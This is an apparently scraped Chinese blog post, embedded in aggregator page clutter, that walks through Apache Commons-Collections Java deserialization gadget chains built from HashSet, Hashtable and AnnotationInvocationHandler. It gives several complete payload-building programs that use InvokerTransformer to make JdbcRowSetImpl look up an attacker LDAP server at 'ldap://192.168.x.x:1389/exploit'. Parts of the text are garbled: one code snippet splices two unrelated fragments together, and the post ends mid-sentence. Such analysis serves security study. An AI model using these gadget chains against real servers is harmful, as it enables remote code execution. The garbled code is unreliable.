commons 您所在的位置:网站首页 common-collection jar commons

commons

2023-12-16 17:35| 来源: 网络整理| 查看: 265

目录1 基础ConstantTransformerInvokeTransformerChainedTransformerLazyMapTiedMapEntryTransformingComparatorPriorityQueueTemplatesImpl2 实现readObject方法的类及其利用链BadAttributeValueExpExceptionCCPriorityQueueCCPriorityQueueCC2HashMapCCHashSetCCHashTableCCHashTableCC2AnnotationInvocationHandlerCC3 总结参考

整过Fastjson、Jackson和XML反序列化之后,感觉还需要对Commons-Collections链来个更清晰的认识,所以决定从ysoserial源码和CC链源码出发,复原整个链是如何构造出来的

1 基础

首先要说一个重要假设,如果某台服务器上,开了一个服务,接受java序列化字节码,并且使用ObjectInputStream.readObject方法进行反序列化,应该如何利用?

直接写一个恶意java类,例如Test,并在其中写入命令执行的代码,序列化后传给服务器,可以在服务器上执行吗?当然不行!因为没有Test类,服务器上执行readObject的时候直接报错,找不到Test类 必须用服务器上存在的类,怎么让它在readObject执行过程中触发呢?这里就是CC链的重要意义了,如果反序列化的类定义了readObject方法,服务器上执行ObjectInputStream.readObject时,会自动调用反序列化类中的readObject方法,更进一步的,如果反序列化类的readObject方法中执行了该类成员变量的某些方法,而这些成员变量是可控的,一个反序列化利用或许就出现了

在readObject反序列化中有个重要利用链就是Commons-Collections组件的利用链,该组件是各种中间件必用的组件,所以可以利用的范围广泛!

CC链(Commons-Collections)中非常重要的就是几个Transformer类、HashMap、HashSet、HashTable、LazyMap、TiedMapEntry、BadAttributeValueExpException、AnnotationInvocationHandler、Proxy.newProxyInstance,看着好像很多有点唬人,其实理解之后会发现都不是大问题,特别是看过这些类的源码之后,每个利用链就会很清晰。一个一个来:

ConstantTransformer

这个类的作用就是保存一个对象而已,创建实例时需要传入一个需要保存的对象,调用实例的transform即可获得其中的常量,没有多余的处理逻辑(推荐直接看源码)

public O transform(final I input) { return iConstant; } InvokeTransformer

这个类的主要功能就是执行某个对象的某个方法,直接上源码

//构造函数 public InvokerTransformer(final String methodName, final Class[] paramTypes, final Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes != null ? paramTypes.clone() : null; iArgs = args != null ? args.clone() : null; } //功能函数 public O transform(final Object input) { if (input == null) { return null; } try { final Class cls = input.getClass(); final Method method = cls.getMethod(iMethodName, iParamTypes); return (O) method.invoke(input, iArgs); }catch (...){...} 构造函数要求传入方法名,方法需要参数类型,具体参数 功能函数transform需要传入一个对象,然后执行构造函数中给定的方法

其实这个类的功能就是反射执行一个类的特定方法而已

ChainedTransformer

这个类创建实例时,需要传入一个Transformer数组,该类的功能就是遍历执行Transformer数组的transform函数,并且将上一次的transform函数的执行结果作为下一次transform的输入,看源码

public T transform(T object) { for (final Transformer)this) instanceof LinkedHashSet ? new LinkedHashMap(capacity, loadFactor) : new HashMap(capacity, loadFactor)); // Read in all elements in the proper order. 关键在于执行了map.put for (int i=0; iHashMap.hash(e)->e.hashCode()

所以只需要把tiedMapEntry放进HashSet即可完成利用链的构造

String dataSource = "ldap://192.168.x.x:1389/exploit"; JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{}); Transformer transformer[] = { new ConstantTransformer(jdbcRowSet), new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}), new ConstantTransformer(jdbcRowSet), new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true}) }; // chainedTransformer.transform(null); HashMap hashMap = new HashMap(); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test"); HashSet hashSet = new HashSet(1); hashSet.add(tiedMapEntry); lazyMap.remove("test"); // 由于创建hashset后,会自动给lazyMap添加一个key-value,所以要remove掉这个键值对 // 以保证lazyMap.get时,map.containsKey(key) == false,从而进入transform函数 // 避免hashset.add时本地触发exp add->map.put->map.hash->entry.hashcode->lazymap.get->transform Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(chainedTransformer, transformer); try{ ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser")); out.writeObject(hashSet); ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser")); in.readObject(); }catch (Exception e){e.printStackTrace();} HashTableCC

先看看HashTable的readObject方法

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // 省略前面不相关代码 // Read the number of elements and then all the key/value objects for (; elements > 0; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); // 读取key @SuppressWarnings("unchecked") V value = (V)s.readObject(); // 读取value // synch could be eliminated for performance reconstitutionPut(table, key, value); // 给内部table添加key-value } }

跟进reconstitutionPut方法

private void reconstitutionPut(Entry[] tab, K key, V value) throws StreamCorruptedException { if (value == null) { throw new java.io.StreamCorruptedException(); } // Makes sure the key is not already in the hashtable. // This should not happen in deserialized version. int hash = key.hashCode(); // 注意这里 int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { // 注意key.equals() throw new java.io.StreamCorruptedException(); } } // Creates the new entry. @SuppressWarnings("unchecked") Entry e = (Entry)tab[index]; tab[index] = new Entry(hash, key, value, e); count++; }

很明显了,看到key.hashCode可以直接和TiedMapEntry链接起来;而key.equals也可以执行执行吗?

先来看看HashTable->TiedMapEntry->LazyMap->ChainedTransformer的利用链

String dataSource = "ldap://192.168.x.x:1389/exploit"; JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{}); Transformer transformer[] = { new ConstantTransformer(jdbcRowSet), new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}), new ConstantTransformer(jdbcRowSet), new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true}) }; // 创建lazyMap HashMap hashMap = new HashMap(); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer); lazyMap.put("test", 1); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test"); Hashtable hashtable = new Hashtable(1); hashtable.put(tiedMapEntry, 1); lazyMap.remove("test"); // 由于创建hashtable后,会自动给lazyMap添加一个key-value,所以要remove掉这个键值对 // 以保证反序列化后,lazyMap.get时,map.containsKey(key) = false,从而进入transform函数 Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(chainedTransformer, transformer); // 本地写文件 try{ ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser")); out.writeObject(hashtable); ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser")); in.readObject(); }catch (Exception e){e.printStackTrace();}

这个链主要是在HashTable.reconstitutionPut中调用key.hashCode()方法,而这个key可以被设置为tiedMapEntry对象,所以就形成了HashTable->TiedMapEntry->..ChainedTransformer的利用链。

HashTableCC2

然后再来看看key.equals的触发点,这里需要对lazyMap进一步解析,特别是其内部的map。我们在创建lazyMap的时候,传入了一个HashMap,又由于LazyMap继承自AbstractMapDecorator,所以其map属性定义也是继承自AbstractMapDecorator。

// 类的继承关系 public class LazyMap extends AbstractMapDecorator implements Map, Serializable{ // 创建lazyMap的方法 public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } // 构造函数 protected LazyMap(Map map, Transformer factory) { super(map); // 调用父类的构造方法 if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } this.factory = factory; } // super(map) 父类构造函数 public AbstractMapDecorator(Map map) { if (map == null) { throw new IllegalArgumentException("Map must not be null"); } this.map = map; // 注意这里,this.map=传进来的map,也就是HashMap } }

然后this.map=HashMap,所以看看HashMap的源码

public class HashMap extends AbstractMap implements Map, Cloneable, Serializable

看到HashMap继承了AbstractMap,跟进看一下AbstractMap的源码,并且主要看一下equals方法!

public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof Map)) return false; Map m = (Map) o; // 这里转换了一下变量名 m = o if (m.size() != size()) return false; try { Iterator i = entrySet().iterator(); while (i.hasNext()) { Entry e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) // 执行了m.get() return false; } else { if (!value.equals(m.get(key))) return false; } } } catch () { //省略} return true; }

到这里,如果m就是我们输入的lazyMap,结合前面提到过的lazyMap.get->transformer.transform,那直接就进入恶意代码环节了。所以先来个利用代码,再梳理一下利用链

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{}); String dataSource = "ldap://192.168.x.x:1389/exploit"; JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); Transformer transformer[] = { new ConstantTransformer(jdbcRowSet), new InvokerTransformer("setDataSourceName", new Class[]{String.class}, new Object[]{dataSource}), new ConstantTransformer(jdbcRowSet), new InvokerTransformer("setAutoCommit", new Class[]{boolean.class}, new Object[]{true}) }; Map map1=new HashMap(); Map map2=new HashMap(); Map lazyMap1= LazyMap.decorate(map1,chainedTransformer); Map lazyMap2= LazyMap.decorate(map2,chainedTransformer); Field f = Class.forName("org.apache.commons.collections.map.AbstractMapDecorator").getDeclaredField("map"); f.setAccessible(true); Object map = f.get(lazyMap1); System.out.println(map.getClass().getName()); lazyMap1.put("yy",1); lazyMap2.put("zZ",1); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, 1); hashtable.put(lazyMap2, 2); lazyMap2.remove("yy"); //避免hashtable.put本地触发exp Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedTransformer, transformer); // 读写文件测试 ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out")); outputStream.writeObject(hashtable); outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out")); inputStream.readObject();

反序列化的时候是这样触发的:

HashTable.readObject() Hashtable.reconstitutionPut() 源码 -> e.key.equals(key) 这里e.key是一个lazyMap,key也是lazyMap

lazyMap本身没有实现equals方法,继承了AbstractMapDecorator,所以调用父类的equals方法

AbstractMapDecorator.equals(key) 源码 -> return this.map.equals(key) HashMap.equals(key) AbstractMap.equals(key) m.get(xx) lazyMap.get(xx)

AbstractMapDecorator.equals源代码中,使用其实例中map成员的equals方法,即return this.map.equals(key)

由于创建lazyMap时,传入的是一个HashMap,所以调用了HashMap.equals,而HashMap继承自AbstractMap,并且没有重写equals方法,所以实际上调用AbstractMap.equals(key)。

在上面AbstractMap.equals(key)源码会存在m=o,再m.get(key),实际上参数o就是一个之前从Hashtable.reconstitutionPut()一路传递进去的那个key,也就是lazyMap,所以这里就等于是执行lazyMap.get(xx),到此利用链就连起来了。

最后给个IDEA报错提示,看看调用链

at org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:132) at org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:122) at org.apache.commons.collections.map.LazyMap.get(LazyMap.java:151) at java.util.AbstractMap.equals(AbstractMap.java:472) at org.apache.commons.collections.map.AbstractMapDecorator.equals(AbstractMapDecorator.java:129) at java.util.Hashtable.reconstitutionPut(Hashtable.java:1221) at java.util.Hashtable.readObject(Hashtable.java:1195)

这个利用链似乎有点绕,但多看看源码和利用代码,还是比较容易理解的

AnnotationInvocationHandlerCC

这个利用链,主要是用到了AnnotationInvocationHandler类,它继承了InvocationHandler和Serializable,并且还重写了readObject方法。

先来看看继承InvocationHandler代表什么含义:在java中提供了一种动态代理创建对象的方式,也就是Proxy.newProxyInstance()方法,这个方法需要三个参数:

classLoader 被创建类实现的所有接口 InvocationHandler实例

被动态代理创建的对象,调用任意方法时,都会先调用代理类,也就是InvocationHandler实例的invoke方法,可以参照栗子

那么回到AnnotationInvocationHandler,看看它的readObject方法和invoke方法

public Object invoke(Object var1, Method var2, Object[] var3) { //有点长,省略一些不太相关代码,想详细看的话,可以直接看看源码 switch(var7) { case 0: return this.toStringImpl(); case 1: return this.hashCodeImpl(); case 2: return this.type; default: Object var6 = this.memberValues.get(var4); // 注意这里,调用了this.memberValues.get() // 省略后方代码 } } // readObject方法 private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); // 关键在于这个this.memberValues.entrySet() // 后面的代码省略 } // 构造函数 AnnotationInvocationHandler(Class


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有